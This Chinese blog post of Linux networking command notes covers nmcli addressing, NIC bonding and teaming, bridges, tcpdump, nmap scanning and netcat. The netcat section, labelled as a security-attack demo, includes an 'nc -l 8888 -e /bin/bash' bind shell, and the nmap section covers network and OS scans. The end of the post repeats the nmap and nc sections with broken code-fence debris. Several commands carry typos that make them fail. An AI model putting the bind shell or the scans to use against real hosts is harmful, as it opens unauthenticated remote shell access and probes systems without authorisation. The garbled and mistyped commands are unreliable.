首页 > 其他分享 >网络属性及相关配置常用命令-下篇

网络属性及相关配置常用命令-下篇

时间:2024-11-19 13:47:00浏览次数:3  
标签:下篇 nmcli ip nc team0 br0 常用命令 con 属性

nmcli

nmcli con
nmcli dev show ens160

nmcli con mod ens160 +ipv4.address 10.0.0.119/24 #同一设备新增一条配置+ipv4.address
nmcli con down ens160;nmcli con reload;nmcli con up ens160 
ip a |grep 'inet 1'

nmcli con mod ens160 -ipv4.addresses 10.0.0.119/24#同一设备删除一条配置+ipv4.address
nmcli con down ens160;nmcli con reload;nmcli con up ens160 
ip a |grep 'inet 1'

#新增一张网卡
ip a|grep mtu
nmcli con add con-name ens224 type ethernet ifname ens224
ip a s ens224 
ls /etc/NetworkManager/system-connections
rm -rf /etc/NetworkManager/system-connections/con-*
nmcli con downens224;nmcli con reload;nmcli con up ens224
nmcli con add con-name ens224 ipv4.addresses 10.0.0.200/16 ipv4.gateway 10.0.0.2 ipv4.dns 10.0.0.2 ipv4.method manual type ethernet ifname ens224 #基本都是去配置文件中修改
ip a s ens224
cat /etc/NetworkManager/system-connections/ens224.nmconnection

网卡绑定

openEuler

ip a s
nmcli con
nmcli dev
#定制网卡配置
cat > /etc/sysconfig/network-scripts/ifcfg-bond0 <<-eof
 NAME=bond0
 TYPE=bond
 DEVICE=bond0
 BOOTPROTO=none
 IPADDR=192.168.8.122
 PREFIX=24
 BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"
 eof
 
cat > /etc/sysconfig/network-scripts/ifcfg-ens224 <<-eof
 NAME=ens224
 DEVICE=ens224
 BOOTPROTO=none
 MASTER=bond0
 SLAVE=yes
 ONBOOT=yes
 eof
 
cat > /etc/sysconfig/network-scripts/ifcfg-ens256 <<-eof
 NAME=ens256
 DEVICE=ens256
 BOOTPROTO=none
 MASTER=bond0
 SLAVE=yes
 ONBOOT=yes
 eof
 
 ls /etc/sysconfig/network-scripts
 systemctl restart NetworkManager
 nmcli con reload
 ip a
 nmcli con
 nmcli dev
 cat /proc/net/bonding/bond0
 
 #异常测试
 ping 192.168.8.122
 ip link set ens224 down
 cat /proc/net/bonding/bond0
 #删除绑定网卡
 nmcli con down bond0
 nmcli dev
 rm -rf /etc/sysconfig/network-scripts/ifcfg-{bond0,ens224,ens256}
 systemctl restart NetworkManager
 nmcli con reload

rocky9

ip a
nmcli con 
nmcli dev
nmcli con add type bond con-name bond0 ifname bond0 bond.options "mode=active-backup,miimon=1000"
nmcli con add type ethernet slave-type bond con-name bond0-port1 ifname ens224 master bond0
nmcli con add type ethernet slave-type bond con-name bond0-port2 ifname ens256 master bond0
nmcli connection modify bond0 ipv4.addresses '192.168.8.123/24' ipv4.gateway '192.168.8.2' ipv4.method manual
nmcli con up bond0
nmcli con up bond0-port1
nmcli con up bond0-port2
ls /etc/NetworkManager/system-connections
nmcli con
nmcli dev
ip a
cat /proc/net/bonding/bond0
#异常测试
ping 192.168.8.123
ip link set ens224 down
cat /proc/net/bonding/bond0
#清理环境
nmcli con delete bond0
nmcli con delete bond0-port1
nmcli con delete bond0-port2

ubuntu

ip a
nmcli con
nmcli dev
vim /etc/netplan/bond0.yaml
network:
 ethernets:
     ens37:
         addresses: []
         dhcp4: false
     ens38:
         addresses: []
         dhcp4: false
 version: 2
 bonds:
     bond0:
         addresses: [192.168.8.124/24]
         interfaces: [ens37,ens38]
         parameters:
        	 mode: balance-rr
 
netplan apply
nmcli dev
nmcli con
cat /proc/net/bonding/bond0
#异常测试
ping 192.168.8.124
ip link set ens37 down
cat /proc/net/bonding/bond0
rm -f /etc/netplan/bond0.yaml
netplan apply

网络组

openEuler/rocky9/ubuntu

#环境准备
nmcli con up team0
yum install -y teamd NetworkManager-team
systemctl restart NetworkManager

ip a
nmcli con 
nmcli dev
#创建网络组接口
#nmcli con add type team con-name CON-NAME ifname TEAM-NAME config 'CONFIG-JSON-STRING'
#创建port接口
#nmcli con add type team-slave con-name CON-PORT-NAME ifname CON-TEAM-NAME master TEAM-NAME
#创建网络组
nmcli con add type con-name team0 ifname team0 config '{"runner":{"name":"loadbalance"}}' ipv4.addresses 192.168.8.100/8 ipv4.method
nmcli con add con-name team0-ens224 type team-slave ifname ens224 master team0
nmcli con add con-name team0-ens256 type team-slave ifname ens256 master team0
ls /etc/sysconfig/network-scripts/
nmcli con reload;nmcli con
#启用网络组设备
nmcli con up team0
nmcli con up team0-ens224
nmcli con up team0-ens256
ip a
nmcli con
nmcli dev
teamdctl team0 state
#异常测试
ping 192.168.8.100
ip link set ens224 down
teamdctl team0 state
#删除
nmcli con down team0
nmcli con del team0
nmcli con del team0-ens224
nmcli con del team0-ens256
#修改配置文件实现
cat >/etc/sysconfig/network-scripts/ifcfg-team0<<-eof
DEVICE=team0
 DEVICETYPE=Team
 TEAM_CONFIG="{\"runner\":{\"name\":\"loadbalance\"}}"
 BOOTPROTO=none
 IPADDR=192.168.8.100
PREFIX=24
 NAME=team0
 ONBOOT=yes
 eof
 
  cat > /etc/sysconfig/network-scripts/ifcfg-team0-ens224 <<-eof
 DEVICE=ens224
 DEVICETYPE=TeamPort
 TEAM_MASTER=team0
 NAME=team0-ens224
 ONBOOT=yes
 eof
 
  cat > /etc/sysconfig/network-scripts/ifcfg-team0-ens256 <<-eof
 DEVICE=ens256
 DEVICETYPE=TeamPort
 TEAM_MASTER=team0
 NAME=team0-ens256
 ONBOOT=yes
 eof
 
 ls /etc/sysconfig/network-scripts
 systemctl restart NetworkManager
 nmcli con reload;nmcli con up team0
 #环境清理
 nmcli con down team0
 nmcli con del team0
 nmcli con del team0-ens224
 nmcli con del team0-ens256

rocky9

#创建网络组
nmcli con add type team con-name team0 ifname team0 team.runner activebackup
nmcli con modify team0 team.link-watchers "name=ethtool delay-up=1000"
nmcli con add type ethernet slave-type team con-name team0-port1 ifname ens224 master team0
nmcli con add type ehternet slave-type team con-name team0-port2 ifname ens256 master team0
nmcli dev
nmcli con
nmcli con modify team0 ipv4.addresses '192.168.8.123/24' ipv4.gateway '192.168.8.2' ipv4.method manual
systemctl restart NetworkManager
nmcli con reload;nmcli con up team0
teamdctl team0 state
#异常测试等后续与openEuler相同

ubuntu

#创建网络组
nmcli con add type team con-name team0 ifname team0 config '{"runner":{"name":"activebackup"}}' ipv4.addresses 192.168.8.124/24 ipv4.method manual ipv6.method disabled
nmcli con add con-name team0-ens37 type team-slave ifname ens37 master team0
nmcli con add con-name team0-ens38 type team-slave ifname ens38 master team0
netplan apply
nmcli con reload;nmcli con up team0
ls /etc/netplan/90-*
ip a s
nmcli con
nmcli dev
teamdctl team0 state
#异常测试等后续与openEuler相同

网桥(交换机)

网桥

#环境准备
#rocky
cat /etc/NetworkManager/system-connection/ens161.nmconnection
[connection]
 id=ens161
 type=ethernet
 autoconnect-priority=-999
 interface-name=ens161
 [ethernet]
 [ipv4]
 address1=172.16.1.110/16
 method=manual
systemctl restart NetworkManager
#openEuler
cat /etc/sysconfig/network-scripts/ifcfg-ens160
TYPE=Ethernet
BOOTPROTO=none
 DEFROUTE=yes
 IPV4_FAILURE_FATAL=no
 NAME=ens160
 DEVICE=ens160
 ONBOOT=yes
 IPADDR=172.16.1.114
 PREFIX=16
systemctl restart NetworkManager
#ubuntu
rm -rf /etc/netplan/*
netplan apply
ip route del 10.0.0.0/24
ip route del default

#添加网桥
#ubuntu上
nmcli con add type bridge con-name br0 ifname br0
nmcli con up br0
nmcli con add type bridge-slave con-name br0-port0 ifname ens160 master br0
nmcli con add type bridge-slave con-name br0-port1 ifname ens192 master br0
nmcli con up br0-port0
nmcli con up br0-port1
nmcli con
nmcli dev show br0
nmcli dev show ens192
nmcli dev show ens160
bridge link show
ip link show master br0
#rocky上
ping 172.16.1.114
#openEuler
ping 172.16.1.110

#网桥移除,ubuntu上
nmcli con down br0
nmcli con del br0
nmcli con down br0-port0
nmcli con del br0-port0
nmcli con down br0-port1
nmcli con del br0-port1brctl

brctl

brctl addbr br0
brctl show
brctl stp br0 on 
brctl show
brctl addif br0 ens33
brctl addif br0 ens37
brctl show
ip link set br0 up
ip link set ens33 up
ip link set ens37 up 
nmcli dev show br0
nmcli con
#rocky
ping 172.16.1.114
#openEuler
ping 172.16.1.110
#删除网桥
ip link set br0 down
ip link set ens33 down
ip link set ens37 down
brctl delif br0 ens33
brctl delif br0 ens37
brctl delbr br0

fping

yum install fping
用ping替代

tcpdump

#抓包
ifconfig |grep flags
tcpdump -D
tcpdump
tcpdump -c 1
tcpdump -i ens160
#host监听特定主机
tcpdump host 10.0.0.100
tcpdump src host 10.0.0.13
tcpdump dst host 10.0.0.13
# port监听特定端口
tcpdump port 3000
tcpdump tcp
tcpdump tcp port 22 and src host 10.0.0.100
# 特定主机间监测
tcpdump ip host 10.0.0.12 and 10.0.0.13 
tcpdump ip host 10.0.0.12 and ! 10.0.0.1

nmap

#网段扫描
yum/apt install nmap
#主机范围扫描
nmap 10.0.0.0/24
nmap 10.0.0.12/24
nmap 10.0.0.10-15
nmap 10.0.0.10 10.0.0.12 10.0.0.15 10.0.0.100
cat > host.txt <<-eof
nmap -i hosts.txt
#端口范围扫描
nmap -p22,80,3306 10.0.0.12
nmap -n -p 80 10.0.0.12
nmap -p 1024-65535 localhost
#加速扫描
nmap --min-parallelism 2000 10.0.0.12-15
nmap -p0 10.0.0.1-10
#其他扫描
nmap -O 10.0.0.12
nmap -A 10.0.0.12

nc

#监听
yum install nc
apt install netcat-openbsd
#监听本地端口
nc -vl 8888 #终端A
nc -vl 127.0.0.1 8888#终端B
nc -vl 8888#终端A
#文件传输实践
nc -l 8888 > received.txt

echo nihao > file.txt
nc 127.0.0.1 8888 < file.txt

nc -l 8888 > received.txt
cat received.txt
#传输目录实践
nc -l 8888|tar -xzvf -

mkdir file;cp /etc/fstab file/; cp ~/.bashrc file
ls file -a
tar -czvf - file|nc 127.0.0.1 8888
nc -l 8888|tar -xzvf -
ls -a file
#网络安全攻击
nc -l 8888 -e /bin/bash

nc -v 127.0.0.1 8888

nc -l 8888 -e /bin/bash
ls
ls attack
id attack
parallelism 2000 10.0.0.12-15
nmap -p0 10.0.0.1-10
#其他扫描
nmap -O 10.0.0.12
nmap -A 10.0.0.12

# nc

```bash

```bash

```bash
```powershell
#监听
yum install nc
apt install netcat-openbsd
#监听本地端口
nc -vl 8888 #终端A
nc -vl 127.0.0.1 8888#终端B
nc -vl 8888#终端A
#文件传输实践
nc -l 8888 > received.txt

echo nihao > file.txt
nc 127.0.0.1 8888 < file.txt

nc -l 8888 > received.txt
cat received.txt
#传输目录实践
nc -l 8888|tar -xzvf -

mkdir file;cp /etc/fstab file/; cp ~/.bashrc file
ls file -a
tar -czvf - file|nc 127.0.0.1 8888
nc -l 8888|tar -xzvf -
ls -a file
#网络安全攻击
nc -l 8888 -e /bin/bash

nc -v 127.0.0.1 8888

nc -l 8888 -e /bin/bash
ls
ls attack
id attack


标签:下篇,nmcli,ip,nc,team0,br0,常用命令,con,属性
From: https://blog.csdn.net/m0_73940847/article/details/143875431

相关文章

  • 网络属性及相关配置常用命令-上篇
    网络属性及相关配置网卡名字rocky8|openEuleripa|egrep'mtu|scrope'cd/etc/sysconfig/network-scriptsmvifcfg-ens160ifcfg-eth0sed-i's/ens160/eth0/g'ifcfg-eth0vim/etc/default/grub #grub是启动配置文件GRUB_CMDLINE_LINUX="...net.ifnames=0......
  • docker原理、常用命令,以及部署nginx、tomcat、es+kibana练习(一)
    基本结构镜像(image):docker镜像可以当作一个模板,通过这个模板可以创建多个容器。例如一个tomcat镜像=>运行=>容器(提供服务)容器(container):docker利用容器技术,可以独立运行一个或一组应用(容器间相互隔离)docker容器通过镜像来创建,即容器中的进程依赖于镜像中的文......
  • linux常用命令(解压,压缩)
    目录1. tar -归档文件常用参数示例2. gzip -压缩单个文件常用参数示例3. bzip2 -压缩单个文件常用参数示例4. zip -压缩文件和目录常用参数示例5. unzip -解压.zip文件常用参数示例1. tar -归档文件tar是一个非常强大的工具,不仅可以打包......
  • linux常用命令(文件操作)
    目录1. ls -列出目录内容2. cd -更改目录3. pwd -打印当前工作目录4. mkdir -创建目录5. rm -删除文件或目录6. cp -复制文件或目录7. mv -移动或重命名文件8. touch -更新文件访问和修改时间9. cat -显示文件内容10. grep -搜索文本......
  • html5表单属性的用法
    文章目录HTML5表单详解与代码案例一、表单的基本结构二、表单元素及其属性三、表单的高级应用与验证四、表单布局与样式HTML5表单详解与代码案例HTML5表单是网页中用于收集用户输入并提交到服务器的重要元素,广泛应用于登录页面、客户留言、搜索产品等场景。本文将......
  • CSS(8)高级技巧:精灵图,css三角,用户界面,vertical-align属性应用
    一.精灵图通过css中的background-position属性,将多张图合成为一张图二.css三角在网页中,我们可以添加css属性获得三角图标solid:实心,边框的实心transparent:透明,图中代码表示只有左边粉色,其余地方为透明三:用户界面1.鼠标样式2.取消表单轮廓与防止拖拽文本三.vert......
  • Day33--属性的修饰符
    Day33--属性的修饰符public修饰符含义:被public修饰的属性可以在任何类中被访问。这是一种最宽松的访问控制级别。示例:classPerson{publicStringname;}publicclassMain{publicstaticvoidmain(String[]args){Personp=newPerson();......
  • Linux文件隐藏属性及chattr和lsattr命令
    文件属性配置问题。chattr命令[root@ashlafkasjfkqyuezc]#chattr[+-=][ASacdistu]文件或目录名称选项与参数: +:增加某一个特殊参数,其他原本存在参数则不动。 -:移除某一个特殊参数,其他原本存在参数则不动。 =:设置等于,且仅有后面接的参数 A:当设置了A这个属性时,若你......
  • 在 Windows 操作系统中,如果用户账户因多次输入错误密码而被锁定,管理员可以使用 PowerS
    在Windows操作系统中,如果用户账户因多次输入错误密码而被锁定,管理员可以使用PowerShell命令来查看和解锁本地用户账户。以下是两个常用命令:Get-LocalUser和Unlock-LocalUser。这两个命令的作用有所不同,具体功能和区别如下:1. Get-LocalUserGet-LocalUser命令用于查看本......
  • linux常用命令有哪些?
    在Linux中,常用命令有很多,主要包括文件管理、系统管理、网络配置、用户管理等方面。以下是一些常见的Linux命令及其功能:1.文件和目录管理ls列出当前目录下的文件和子目录。常用选项:-l:长格式显示详细信息-a:显示所有文件,包括隐藏文件-h:以人类可读的格式显示文件大小(如K......